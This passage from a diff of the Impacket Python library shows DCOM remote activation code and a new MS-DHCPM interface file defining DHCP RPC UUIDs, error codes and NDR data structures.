+        securityBindings = Oxids[scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2:]
+
+        done = False
+        stringBindings = list()
+        while not done:
+            if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
+                done = True
+            else:
+                binding = STRINGBINDING(strBindings)
+                stringBindings.append(binding)
+                strBindings = strBindings[len(binding):]
+
+        done = False
+        while not done:
+            if len(securityBindings) < 2:
+                done = True
+            elif securityBindings[0:1] == b'\x00' and securityBindings[1:2] == b'\x00':
+                done = True
+            else:
+                secBinding = SECURITYBINDING(securityBindings)
+                securityBindings = securityBindings[len(secBinding):]
+
+        # Processing the Properties Output
+        propsOut = PropsOutInfo()
+        size = propsOut.fromString(propOutput)
+        propsOut.fromStringReferents(propOutput[size:])
+
+        classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)
+        classInstance.set_auth_level(scmr['remoteReply']['authnHint'])
+        classInstance.set_auth_type(self.__portmap.get_auth_type())
+        return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown,
+                                      target=self.__portmap.get_rpc_transport().getRemoteHost()))
+
+    def RemoteCreateInstance(self, clsId, iid):
+        # Only supports one interface at a time
+        self.__portmap.bind(IID_IRemoteSCMActivator)
+
+        ORPCthis = ORPCTHIS()
+        ORPCthis['cid'] = generate()
+        ORPCthis['extensions'] = NULL
+        ORPCthis['flags'] = 1
+
+        request = RemoteCreateInstance()
+        request['ORPCthis'] = ORPCthis
+        request['pUnkOuter'] = NULL
+
+        activationBLOB = ACTIVATION_BLOB()
+        activationBLOB['CustomHeader']['destCtx'] = 2
+        activationBLOB['CustomHeader']['pdwReserved'] = NULL
+        clsid = CLSID()
+        clsid['Data'] = CLSID_InstantiationInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+        clsid = CLSID()
+        clsid['Data'] = CLSID_ActivationContextInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+        clsid = CLSID()
+        clsid['Data'] = CLSID_ServerLocationInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+        clsid = CLSID()
+        clsid['Data'] = CLSID_ScmRequestInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+
+        properties = b''
+        # InstantiationInfo
+        instantiationInfo = InstantiationInfoData()
+        instantiationInfo['classId'] = clsId
+        instantiationInfo['cIID'] = 1
+
+        _iid = IID()
+        _iid['Data'] = iid
+
+        instantiationInfo['pIID'].append(_iid)
+
+        dword = DWORD()
+        marshaled = instantiationInfo.getData()+instantiationInfo.getDataReferents()
+        pad = (8 - (len(marshaled) % 8)) % 8
+        dword['Data'] = len(marshaled) + pad
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+        instantiationInfo['thisSize'] = dword['Data']
+
+        properties += marshaled + b'\xFA'*pad
+
+        # ActivationContextInfoData
+        activationInfo = ActivationContextInfoData()
+        activationInfo['pIFDClientCtx'] = NULL
+        activationInfo['pIFDPrototypeCtx'] = NULL
+
+        dword = DWORD()
+        marshaled = activationInfo.getData()+activationInfo.getDataReferents()
+        pad = (8 - (len(marshaled) % 8)) % 8
+        dword['Data'] = len(marshaled) + pad
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+
+        properties += marshaled + b'\xFA'*pad
+
+        # ServerLocation
+        locationInfo = LocationInfoData()
+        locationInfo['machineName'] = NULL
+
+        dword = DWORD()
+        dword['Data'] = len(locationInfo.getData())
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+
+        properties += locationInfo.getData()+locationInfo.getDataReferents()
+
+        # ScmRequestInfo
+        scmInfo = ScmRequestInfoData()
+        scmInfo['pdwReserved'] = NULL
+        #scmInfo['remoteRequest']['ClientImpLevel'] = 2
+        scmInfo['remoteRequest']['cRequestedProtseqs'] = 1
+        scmInfo['remoteRequest']['pRequestedProtseqs'].append(7)
+
+        dword = DWORD()
+        marshaled = scmInfo.getData()+scmInfo.getDataReferents()
+        pad = (8 - (len(marshaled) % 8)) % 8
+        dword['Data'] = len(marshaled) + pad
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+
+        properties += marshaled + b'\xFA'*pad
+
+        activationBLOB['Property'] = properties
+
+
+        objrefcustom = OBJREF_CUSTOM()
+        objrefcustom['iid'] = IID_IActivationPropertiesIn[:-4]
+        objrefcustom['clsid'] = CLSID_ActivationPropertiesIn
+
+        objrefcustom['pObjectData'] = activationBLOB.getData()
+        objrefcustom['ObjectReferenceSize'] = len(objrefcustom['pObjectData'])+8
+
+        request['pActProperties']['ulCntData'] = len(objrefcustom.getData())
+        request['pActProperties']['abData'] = list(objrefcustom.getData())
+        resp = self.__portmap.request(request)
+
+        # Now let's parse the answer and build an Interface instance
+
+        objRefType = OBJREF(b''.join(resp['ppActProperties']['abData']))['flags']
+        objRef = None
+        if objRefType == FLAGS_OBJREF_CUSTOM:
+            objRef = OBJREF_CUSTOM(b''.join(resp['ppActProperties']['abData']))
+        elif objRefType == FLAGS_OBJREF_HANDLER:
+            objRef = OBJREF_HANDLER(b''.join(resp['ppActProperties']['abData']))
+        elif objRefType == FLAGS_OBJREF_STANDARD:
+            objRef = OBJREF_STANDARD(b''.join(resp['ppActProperties']['abData']))
+        elif objRefType == FLAGS_OBJREF_EXTENDED:
+            objRef = OBJREF_EXTENDED(b''.join(resp['ppActProperties']['abData']))
+        else:
+            LOG.error("Unknown OBJREF Type! 0x%x" % objRefType)
+
+
+        activationBlob = ACTIVATION_BLOB(objRef['pObjectData'])
+
+        propOutput = activationBlob['Property'][:activationBlob['CustomHeader']['pSizes'][0]['Data']]
+        scmReply = activationBlob['Property'][
+                   activationBlob['CustomHeader']['pSizes'][0]['Data']:activationBlob['CustomHeader']['pSizes'][0]['Data'] +
+                                                                       activationBlob['CustomHeader']['pSizes'][1]['Data']]
+
+        scmr = ScmReplyInfoData()
+        size = scmr.fromString(scmReply)
+        # Processing the scmReply
+        scmr.fromStringReferents(scmReply[size:])
+        ipidRemUnknown = scmr['remoteReply']['ipidRemUnknown']
+        Oxids = b''.join(pack('<H', x) for x in scmr['remoteReply']['pdsaOxidBindings']['aStringArray'])
+        strBindings = Oxids[:scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2]
+        securityBindings = Oxids[scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2:]
+
+        done = False
+        stringBindings = list()
+        while not done:
+            if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
+                done = True
+            else:
+                binding = STRINGBINDING(strBindings)
+                stringBindings.append(binding)
+                strBindings = strBindings[len(binding):]
+
+        done = False
+        while not done:
+            if len(securityBindings) < 2:
+                done = True
+            elif securityBindings[0:1] == b'\x00' and securityBindings[1:2] == b'\x00':
+                done = True
+            else:
+                secBinding = SECURITYBINDING(securityBindings)
+                securityBindings = securityBindings[len(secBinding):]
+
+        # Processing the Properties Output
+        propsOut = PropsOutInfo()
+        size = propsOut.fromString(propOutput)
+        propsOut.fromStringReferents(propOutput[size:])
+
+        classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)
+        classInstance.set_auth_level(scmr['remoteReply']['authnHint'])
+        classInstance.set_auth_type(self.__portmap.get_auth_type())
+        return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown,
+                                      target=self.__portmap.get_rpc_transport().getRemoteHost()))
diff --git a/impacket/dcerpc/v5/dhcpm.py b/impacket/dcerpc/v5/dhcpm.py
new file mode 100644
index 0000000..c0e3490
--- /dev/null
+++ b/impacket/dcerpc/v5/dhcpm.py
@@ -0,0 +1,1150 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-DHCPM] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+from impacket import system_errors
+from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, NULL, DWORD, BOOL, BYTE, LPDWORD, WORD
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRENUM, NDRUNION
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.enum import Enum
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_DHCPSRV = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F874532D', '1.0'))
+MSRPC_UUID_DHCPSRV2 = uuidtup_to_bin(('5B821720-F63B-11D0-AAD2-00C04FC324DB', '1.0'))
+
+
+################################################################################
+# CONSTANTS
+################################################################################
+DHCP_SRV_HANDLE = LPWSTR
+DHCP_IP_ADDRESS = DWORD
+DHCP_IP_MASK = DWORD
+DHCP_OPTION_ID = DWORD
+
+# DHCP enumeratiom flags
+DHCP_FLAGS_OPTION_DEFAULT = 0x00000000
+DHCP_FLAGS_OPTION_IS_VENDOR = 0x00000003
+
+# Errors
+ERROR_DHCP_REGISTRY_INIT_FAILED = 0x00004E20
+ERROR_DHCP_DATABASE_INIT_FAILED = 0x00004E21
+ERROR_DHCP_RPC_INIT_FAILED = 0x00004E22
+ERROR_DHCP_NETWORK_INIT_FAILED = 0x00004E23
+ERROR_DHCP_SUBNET_EXITS = 0x00004E24
+ERROR_DHCP_SUBNET_NOT_PRESENT = 0x00004E25
+ERROR_DHCP_PRIMARY_NOT_FOUND = 0x00004E26
+ERROR_DHCP_ELEMENT_CANT_REMOVE = 0x00004E27
+ERROR_DHCP_OPTION_EXITS = 0x00004E29
+ERROR_DHCP_OPTION_NOT_PRESENT = 0x00004E2A
+ERROR_DHCP_ADDRESS_NOT_AVAILABLE = 0x00004E2B
+ERROR_DHCP_RANGE_FULL = 0x00004E2C
+ERROR_DHCP_JET_ERROR = 0x00004E2D
+ERROR_DHCP_CLIENT_EXISTS = 0x00004E2E
+ERROR_DHCP_INVALID_DHCP_MESSAGE = 0x00004E2F
+ERROR_DHCP_INVALID_DHCP_CLIENT = 0x00004E30
+ERROR_DHCP_SERVICE_PAUSED = 0x00004E31
+ERROR_DHCP_NOT_RESERVED_CLIENT = 0x00004E32
+ERROR_DHCP_RESERVED_CLIENT = 0x00004E33
+ERROR_DHCP_RANGE_TOO_SMALL = 0x00004E34
+ERROR_DHCP_IPRANGE_EXITS = 0x00004E35
+ERROR_DHCP_RESERVEDIP_EXITS = 0x00004E36
+ERROR_DHCP_INVALID_RANGE = 0x00004E37
+ERROR_DHCP_RANGE_EXTENDED = 0x00004E38
+ERROR_EXTEND_TOO_SMALL = 0x00004E39
+WARNING_EXTENDED_LESS = 0x00004E3A
+ERROR_DHCP_JET_CONV_REQUIRED = 0x00004E3B
+ERROR_SERVER_INVALID_BOOT_FILE_TABLE = 0x00004E3C
+ERROR_SERVER_UNKNOWN_BOOT_FILE_NAME = 0x00004E3D
+ERROR_DHCP_SUPER_SCOPE_NAME_TOO_LONG = 0x00004E3E
+ERROR_DHCP_IP_ADDRESS_IN_USE = 0x00004E40
+ERROR_DHCP_LOG_FILE_PATH_TOO_LONG = 0x00004E41
+ERROR_DHCP_UNSUPPORTED_CLIENT = 0x00004E42
+ERROR_DHCP_JET97_CONV_REQUIRED = 0x00004E44
+ERROR_DHCP_ROGUE_INIT_FAILED = 0x00004E45
+ERROR_DHCP_ROGUE_SAMSHUTDOWN = 0x00004E46
+ERROR_DHCP_ROGUE_NOT_AUTHORIZED = 0x00004E47
+ERROR_DHCP_ROGUE_DS_UNREACHABLE = 0x00004E48
+ERROR_DHCP_ROGUE_DS_CONFLICT = 0x00004E49
+ERROR_DHCP_ROGUE_NOT_OUR_ENTERPRISE = 0x00004E4A
+ERROR_DHCP_ROGUE_STANDALONE_IN_DS = 0x00004E4B
+ERROR_DHCP_CLASS_NOT_FOUND = 0x00004E4C
+ERROR_DHCP_CLASS_ALREADY_EXISTS = 0x00004E4D
+ERROR_DHCP_SCOPE_NAME_TOO_LONG = 0x00004E4E
+ERROR_DHCP_DEFAULT_SCOPE_EXITS = 0x00004E4F
+ERROR_DHCP_CANT_CHANGE_ATTRIBUTE = 0x00004E50
+ERROR_DHCP_IPRANGE_CONV_ILLEGAL = 0x00004E51
+ERROR_DHCP_NETWORK_CHANGED = 0x00004E52
+ERROR_DHCP_CANNOT_MODIFY_BINDINGS = 0x00004E53
+ERROR_DHCP_SUBNET_EXISTS = 0x00004E54
+ERROR_DHCP_MSCOPE_EXISTS = 0x00004E55
+ERROR_MSCOPE_RANGE_TOO_SMALL = 0x00004E56
+ERROR_DHCP_EXEMPTION_EXISTS = 0x00004E57
+ERROR_DHCP_EXEMPTION_NOT_PRESENT = 0x00004E58
+ERROR_DHCP_INVALID_PARAMETER_OPTION32 = 0x00004E59
+ERROR_DDS_NO_DS_AVAILABLE = 0x00004E66
+ERROR_DDS_NO_DHCP_ROOT = 0x00004E67
+ERROR_DDS_UNEXPECTED_ERROR = 0x00004E68
+ERROR_DDS_TOO_MANY_ERRORS = 0x00004E69
+ERROR_DDS_DHCP_SERVER_NOT_FOUND = 0x00004E6A
+ERROR_DDS_OPTION_ALREADY_EXISTS = 0x00004E6B
+ERROR_DDS_OPTION_DOES_NOT_EXIST = 0x00004E6C
+ERROR_DDS_CLASS_EXISTS = 0x00004E6D
+ERROR_DDS_CLASS_DOES_NOT_EXIST = 0x00004E6E
+ERROR_DDS_SERVER_ALREADY_EXISTS = 0x00004E6F
+ERROR_DDS_SERVER_DOES_NOT_EXIST = 0x00004E70
+ERROR_DDS_SERVER_ADDRESS_MISMATCH = 0x00004E71
+ERROR_DDS_SUBNET_EXISTS = 0x00004E72
+ERROR_DDS_SUBNET_HAS_DIFF_SSCOPE = 0x00004E73
+ERROR_DDS_SUBNET_NOT_PRESENT = 0x00004E74
+ERROR_DDS_RESERVATION_NOT_PRESENT = 0x00004E75
+ERROR_DDS_RESERVATION_CONFLICT = 0x00004E76
+ERROR_DDS_POSSIBLE_RANGE_CONFLICT = 0x00004E77
+ERROR_DDS_RANGE_DOES_NOT_EXIST = 0x00004E78
+ERROR_DHCP_DELETE_BUILTIN_CLASS = 0x00004E79
+ERROR_DHCP_INVALID_SUBNET_PREFIX = 0x00004E7B
+ERROR_DHCP_INVALID_DELAY = 0x00004E7C
+ERROR_DHCP_LINKLAYER_ADDRESS_EXISTS = 0x00004E7D
+ERROR_DHCP_LINKLAYER_ADDRESS_RESERVATION_EXISTS = 0x00004E7E
+ERROR_DHCP_LINKLAYER_ADDRESS_DOES_NOT_EXIST = 0x00004E7F
+ERROR_DHCP_HARDWARE_ADDRESS_TYPE_ALREADY_EXEMPT = 0x00004E85
+ERROR_DHCP_UNDEFINED_HARDWARE_ADDRESS_TYPE = 0x00004E86
+ERROR_DHCP_OPTION_TYPE_MISMATCH = 0x00004E87
+ERROR_DHCP_POLICY_BAD_PARENT_EXPR = 0x00004E88
+ERROR_DHCP_POLICY_EXISTS = 0x00004E89
+ERROR_DHCP_POLICY_RANGE_EXISTS = 0x00004E8A
+ERROR_DHCP_POLICY_RANGE_BAD = 0x00004E8B
+ERROR_DHCP_RANGE_INVALID_IN_SERVER_POLICY = 0x00004E8C
+ERROR_DHCP_INVALID_POLICY_EXPRESSION = 0x00004E8D
+ERROR_DHCP_INVALID_PROCESSING_ORDER = 0x00004E8E
+ERROR_DHCP_POLICY_NOT_FOUND = 0x00004E8F
+ERROR_SCOPE_RANGE_POLICY_RANGE_CONFLICT = 0x00004E90
+
+# DHCP failover error codes
+ERROR_DHCP_FO_SCOPE_ALREADY_IN_RELATIONSHIP = 0x00004E91
+ERROR_DHCP_FO_RELATIONSHIP_EXISTS = 0x00004E92
+
+ERROR_DHCP_FO_RELATIONSHIP_DOES_NOT_EXIST = 0x00004E93
+ERROR_DHCP_FO_SCOPE_NOT_IN_RELATIONSHIP = 0x00004E94
+ERROR_DHCP_FO_RELATION_IS_SECONDARY = 0x00004E95
+ERROR_DHCP_FO_NOT_SUPPORTED = 0x00004E96
+ERROR_DHCP_FO_TIME_OUT_OF_SYNC = 0x00004E97
+ERROR_DHCP_FO_STATE_NOT_NORMAL = 0x00004E98
+ERROR_DHCP_NO_ADMIN_PERMISSION = 0x00004E99
+
+ERROR_DHCP_SERVER_NOT_REACHABLE = 0x00004E9A
+ERROR_DHCP_SERVER_NOT_RUNNING = 0x00004E9B
+ERROR_DHCP_SERVER_NAME_NOT_RESOLVED = 0x00004E9C
+ERROR_DHCP_FO_RELATIONSHIP_NAME_TOO_LONG = 0x00004E9D
+ERROR_DHCP_REACHED_END_OF_SELECTION = 0x00004E9E
+ERROR_DHCP_FO_ADDSCOPE_LEASES_NOT_SYNCED = 0x00004E9F
+ERROR_DHCP_FO_MAX_RELATIONSHIPS = 0x00004EA0
+ERROR_DHCP_FO_IPRANGE_TYPE_CONV_ILLEGAL = 0x00004EA1
+ERROR_DHCP_FO_MAX_ADD_SCOPES = 0x00004EA2
+ERROR_DHCP_FO_BOOT_NOT_SUPPORTED = 0x00004EA3
+ERROR_DHCP_FO_RANGE_PART_OF_REL = 0x00004EA4
+ERROR_DHCP_FO_SCOPE_SYNC_IN_PROGRESS = 0x00004EA5
+ERROR_DHCP_FO_FEATURE_NOT_SUPPORTED = 0x00004EA6
+ERROR_DHCP_POLICY_FQDN_RANGE_UNSUPPORTED = 0x00004EA7
+ERROR_DHCP_POLICY_FQDN_OPTION_UNSUPPORTED = 0x00004EA8
+ERROR_DHCP_POLICY_EDIT_FQDN_UNSUPPORTED = 0x00004EA9
+ERROR_DHCP_NAP_NOT_SUPPORTED = 0x00004EAA
+ERROR_LAST_DHCP_SERVER_ERROR = 0x00004EAB
+
+
+class DCERPCSessionError(DCERPCException):
+    ERROR_MESSAGES = {
+        ERROR_DHCP_JET_ERROR: ("ERROR_DHCP_JET_ERROR",
+                               "An error occurred while accessing the DHCP server database."),
+        ERROR_DHCP_SUBNET_NOT_PRESENT: ("ERROR_DHCP_SUBNET_NOT_PRESENT",
+                                        "The specified IPv4 subnet does not exist."),
+        ERROR_DHCP_SUBNET_EXISTS: ("ERROR_DHCP_SUBNET_EXISTS",
+                                   "The IPv4 scope parameters are incorrect. Either the IPv4 scope already"
+                                   " exists, corresponding to the SubnetAddress and SubnetMask members of "
+                                   "the structure DHCP_SUBNET_INFO (section 2.2.1.2.8), or there is a "
+                                   "range overlap of IPv4 addresses between those associated with the "
+                                   "SubnetAddress and SubnetMask fields of the new IPv4 scope and the "
+                                   "subnet address and mask of an already existing IPv4 scope"),
+        ERROR_DHCP_INVALID_DHCP_CLIENT: ("ERROR_DHCP_INVALID_DHCP_CLIENT",
+                                         "The DHCP server received an invalid message from the client."),
+    }
+
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__(self):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
+            return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        elif key in self.ERROR_MESSAGES:
+            error_msg_short = self.ERROR_MESSAGES[key][0]
+            error_msg_verbose = self.ERROR_MESSAGES[key][1]
+            return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'DHCPM SessionError: unknown error code: 0x%x' % self.error_code
+
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.1.1.3 DHCP_SEARCH_INFO_TYPE
+class DHCP_SEARCH_INFO_TYPE(NDRENUM):
+    class enumItems(Enum):
+        DhcpClientIpAddress       = 0
+        DhcpClientHardwareAddress = 1
+        DhcpClientName            = 2
+
+# 2.2.1.1.11 QuarantineStatus
+class QuarantineStatus(NDRENUM):
+    class enumItems(Enum):
+        NOQUARANTINE        = 0
+        RESTRICTEDACCESS    = 1
+        DROPPACKET          = 2
+        PROBATION           = 3
+        EXEMPT              = 4
+        DEFAULTQUARSETTING  = 5
+        NOQUARINFO          = 6
+
+# 2.2.1.2.7 DHCP_HOST_INFO
+class DHCP_HOST_INFO(NDRSTRUCT):
+    structure = (
+        ('IpAddress', DHCP_IP_ADDRESS),
+        ('NetBiosName', LPWSTR),
+        ('HostName', LPWSTR),
+    )
+
+# 2.2.1.2.9 DHCP_BINARY_DATA
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class PBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', BYTE_ARRAY),
+    )
+
+class DHCP_BINARY_DATA(NDRSTRUCT):
+    structure = (
+        ('DataLength', DWORD),
+        ('Data_', PBYTE_ARRAY),
+    )
+
+DHCP_CLIENT_UID = DHCP_BINARY_DATA
+
+# 2.2.1.2.11 DATE_TIME
+class DATE_TIME(NDRSTRUCT):
+    structure = (
+        ('dwLowDateTime', DWORD),
+        ('dwHighDateTime', DWORD),
+    )
+
+# 2.2.1.2.19 DHCP_CLIENT_INFO_VQ
+class DHCP_CLIENT_INFO_VQ(NDRSTRUCT):
+    structure = (
+        ('ClientIpAddress', DHCP_IP_ADDRESS),
+        ('SubnetMask', DHCP_IP_MASK),
+        ('ClientHardwareAddress', DHCP_CLIENT_UID),
+        ('ClientName', LPWSTR),
+        ('ClientComment', LPWSTR),
+        ('ClientLeaseExpires', DATE_TIME),
+        ('OwnerHost', DHCP_HOST_INFO),
+        ('bClientType', BYTE),
+        ('AddressState', BYTE),
+        ('Status', QuarantineStatus),
+        ('ProbationEnds', DATE_TIME),
+        ('QuarantineCapable', BOOL),
+    )
+
+class DHCP_CLIENT_SEARCH_UNION(NDRUNION):
+    union = {
+        DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress:       ('ClientIpAddress', DHCP_IP_ADDRESS),
+        DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: ('ClientHardwareAddress', DHCP_CLIENT_UID),
+        DHCP_SEARCH_INFO_TYPE.DhcpClientName:            ('ClientName', LPWSTR),
+    }
+
+class DHCP_SEARCH_INFO(NDRSTRUCT):
+    structure = (
+        ('SearchType', DHCP_SEARCH_INFO_TYPE),
+        ('SearchInfo', DHCP_CLIENT_SEARCH_UNION),
+    )
+
+# 2.2.1.2.14 DHCP_CLIENT_INFO_V4
+class DHCP_CLIENT_INFO_V4(NDRSTRUCT):
+    structure = (
+        ('ClientIpAddress', DHCP_IP_ADDRESS),
+        ('SubnetMask', DHCP_IP_MASK),
+        ('ClientHardwareAddress', DHCP_CLIENT_UID),
+        ('ClientName', LPWSTR),
+        ('ClientComment', LPWSTR),
+        ('ClientLeaseExpires', DATE_TIME),
+        ('OwnerHost', DHCP_HOST_INFO),
+        ('bClientType', BYTE),
+    )
+
+class DHCP_CLIENT_INFO_V5(NDRSTRUCT):
+    structure = (
+        ('ClientIpAddress', DHCP_IP_ADDRESS),
+        ('SubnetMask', DHCP_IP_MASK),
+        ('ClientHardwareAddress', DHCP_CLIENT_UID),
+        ('ClientName', LPWSTR),
+        ('ClientComment', LPWSTR),
+        ('ClientLeaseExpires', DATE_TIME),
+        ('OwnerHost', DHCP_HOST_INFO),
+        ('bClientType', BYTE),
+        ('AddressState', BYTE),
+    )
+
+class LPDHCP_CLIENT_INFO_V4(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_V4),
+    )
+
+class LPDHCP_CLIENT_INFO_V5(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_V5),
+    )
+
+# 2.2.1.2.115 DHCP_CLIENT_INFO_PB
+class DHCP_CLIENT_INFO_PB(NDRSTRUCT):
+    structure = (
+        ('ClientIpAddress', DHCP_IP_ADDRESS),
+        ('SubnetMask', DHCP_IP_MASK),
+        ('ClientHardwareAddress', DHCP_CLIENT_UID),
+        ('ClientName', LPWSTR),
+        ('ClientComment', LPWSTR),
+        ('ClientLeaseExpires', DATE_TIME),
+        ('OwnerHost', DHCP_HOST_INFO),
+        ('bClientType', BYTE),
+        ('AddressState', BYTE),
+        ('Status', QuarantineStatus),
+        ('ProbationEnds', DATE_TIME),
+        ('QuarantineCapable', BOOL),
+        ('FilterStatus', DWORD),
+        ('PolicyName', LPWSTR),
+    )
+
+class LPDHCP_CLIENT_INFO_PB(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_PB),
+    )
+
+class LPDHCP_CLIENT_INFO_VQ(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_VQ),
+    )
+
+class DHCP_CLIENT_INFO_VQ_ARRAY(NDRUniConformantArray):
+    item = LPDHCP_CLIENT_INFO_VQ
+
+class LPDHCP_CLIENT_INFO_VQ_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_VQ_ARRAY),
+    )
+
+class DHCP_CLIENT_INFO_ARRAY_VQ(NDRSTRUCT):
+    structure = (
+        ('NumElements', DWORD),
+        ('Clients', LPDHCP_CLIENT_INFO_VQ_ARRAY),
+    )
+
+class LPDHCP_CLIENT_INFO_ARRAY_VQ(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_ARRAY_VQ),
+    )
+
+class DHCP_CLIENT_INFO_V4_ARRAY(NDRUniConformantArray):
+    item = LPDHCP_CLIENT_INFO_V4
+
+class DHCP_CLIENT_INFO_V5_ARRAY(NDRUniConformantArray):
+    item = LPDHCP_CLIENT_INFO_V5
+
+class LPDHCP_CLIENT_INFO_V4_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_V4_ARRAY),
+    )
+
+class LPDHCP_CLIENT_INFO_V5_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_V5_ARRAY),
+    )
+
+class DHCP_CLIENT_INFO_ARRAY_V4(NDRSTRUCT):
+    structure = (
+        ('NumElements', DWORD),
+        ('Clients', LPDHCP_CLIENT_INFO_V4_ARRAY),
+    )
+
+class DHCP_CLIENT_INFO_ARRAY_V5(NDRSTRUCT):
+    structure = (
+        ('NumElements', DWORD),
+        ('Clients', LPDHCP_CLIENT_INFO_V5_ARRAY),
+    )
+
+class LPDHCP_CLIENT_INFO_ARRAY_V5(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_ARRAY_V5),
+    )
+
+class LPDHCP_CLIENT_INFO_ARRAY_V4(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_CLIENT_INFO_ARRAY_V4),
+    )
+
+class DHCP_IP_ADDRESS_ARRAY(NDRUniConformantArray):
+    item = DHCP_IP_ADDRESS
+
+class LPDHCP_IP_ADDRESS_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_IP_ADDRESS_ARRAY),
+    )
+
+class DHCP_IP_ARRAY(NDRSTRUCT):
+    structure = (
+        ('NumElements', DWORD),
+        ('Elements', LPDHCP_IP_ADDRESS_ARRAY),
+    )
+
+class DHCP_SUBNET_STATE(NDRENUM):
+    class enumItems(Enum):
+        DhcpSubnetEnabled           = 0
+        DhcpSubnetDisabled          = 1
+        DhcpSubnetEnabledSwitched   = 2
+        DhcpSubnetDisabledSwitched  = 3
+        DhcpSubnetInvalidState      = 4
+
+class DHCP_SUBNET_INFO(NDRSTRUCT):
+    structure = (
+        ('SubnetAddress', DHCP_IP_ADDRESS),
+        ('SubnetMask', DHCP_IP_MASK),
+        ('SubnetName', LPWSTR),
+        ('SubnetComment', LPWSTR),
+        ('PrimaryHost', DHCP_HOST_INFO),
+        ('SubnetState', DHCP_SUBNET_STATE),
+    )
+
+class LPDHCP_SUBNET_INFO(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_SUBNET_INFO),
+    )
+
+class DHCP_OPTION_SCOPE_TYPE(NDRENUM):
+    class enumItems(Enum):
+        DhcpDefaultOptions  = 0
+        DhcpGlobalOptions   = 1
+        DhcpSubnetOptions   = 2
+        DhcpReservedOptions = 3
+        DhcpMScopeOptions   = 4
+
+class DHCP_RESERVED_SCOPE(NDRSTRUCT):
+    structure = (
+        ('ReservedIpAddress', DHCP_IP_ADDRESS),
+        ('ReservedIpSubnetAddress', DHCP_IP_ADDRESS),
+    )
+
+class DHCP_OPTION_SCOPE_UNION(NDRUNION):
+    union = {
+        DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions   : (),
+        DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions    : (),
+        DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions    : ('SubnetScopeInfo', DHCP_IP_ADDRESS),
+        DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions  : ('ReservedScopeInfo', DHCP_RESERVED_SCOPE),
+        DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions    : ('MScopeInfo', LPWSTR),
+    }
+
+class DHCP_OPTION_SCOPE_INFO(NDRSTRUCT):
+    structure = (
+        ('ScopeType', DHCP_OPTION_SCOPE_TYPE),
+        ('ScopeInfo', DHCP_OPTION_SCOPE_UNION),
+    )
+
+class LPDHCP_OPTION_SCOPE_INFO(NDRPOINTER):
+    referent = (
+        ('Data', DHCP_OPTION_SCOPE_INFO)
+    )
+
+class DWORD_DWORD(NDRSTRUCT):
+    structure = (
+        ('DWord1', DWORD),
+        ('DWord2', DWORD),
+    )
+
